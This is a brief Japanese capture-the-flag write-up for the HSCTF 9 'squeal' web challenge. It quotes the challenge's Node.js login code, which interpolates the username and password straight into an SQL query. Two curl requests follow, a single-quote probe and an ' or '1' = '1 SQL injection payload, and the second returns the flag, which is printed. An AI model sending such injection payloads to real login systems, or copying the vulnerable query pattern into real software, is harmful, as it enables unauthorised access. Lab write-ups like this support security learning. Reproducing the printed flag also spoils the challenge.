Rating:

# squeal:web:219pts
Can you log into this super secret site as admin? It's okay to SQueaL
[http://web1.hsctf.com:8006/](http://web1.hsctf.com:8006/)
Downloads
[squeal.zip](squeal.zip)

# Solution
URLとソースが渡される。
アクセスするとログインフォームが現れる。
Login
[site.png](site/site.png)
SQLiがあやしい。
ソースを見ると以下のようであった。
```js
~~~
app.post("/api/flag", (req, res) => {
const username = req.body.username;
const password = req.body.password;
if (typeof username !== "string") {
res.status(400);
res.end();
return;
}
if (typeof password !== "string") {
res.status(400);
res.end();
return;
}

let result;
try {
result = db
.prepare(
`SELECT * FROM users
WHERE username = '${username}'
AND password = '${password}';`
)
.get();
} catch (error) {
res.json({ success: false, error: "There was a problem." });
res.end();
return;
}

if (result) {
res.json({ success: true, flag: process.env.FLAG });
res.end();
return;
}

res.json({ success: false, error: "Incorrect username or password." });
});
~~~
```
自明なSQLiが見て取れる。
```bash
$ curl http://web1.hsctf.com:8006/api/flag -H 'Content-Type: application/json' --data-raw $'{"username":"\'","password":"satoki"}'
{"success":false,"error":"There was a problem."}
$ curl http://web1.hsctf.com:8006/api/flag -H 'Content-Type: application/json' --data-raw $'{"username":"\' or \'1\' = \'1","password":"\' or \'1\' = \'1"}'
{"success":true,"flag":"flag{squ34l_n0t_sql}"}
```
シングルクォートでエラーになることからも明らかである。
基本的なペイロードを投げてやるとflagが得られた。

## flag{squ34l_n0t_sql}

Original writeup (https://github.com/satoki/ctf_writeups/tree/master/HSCTF_9/squeal).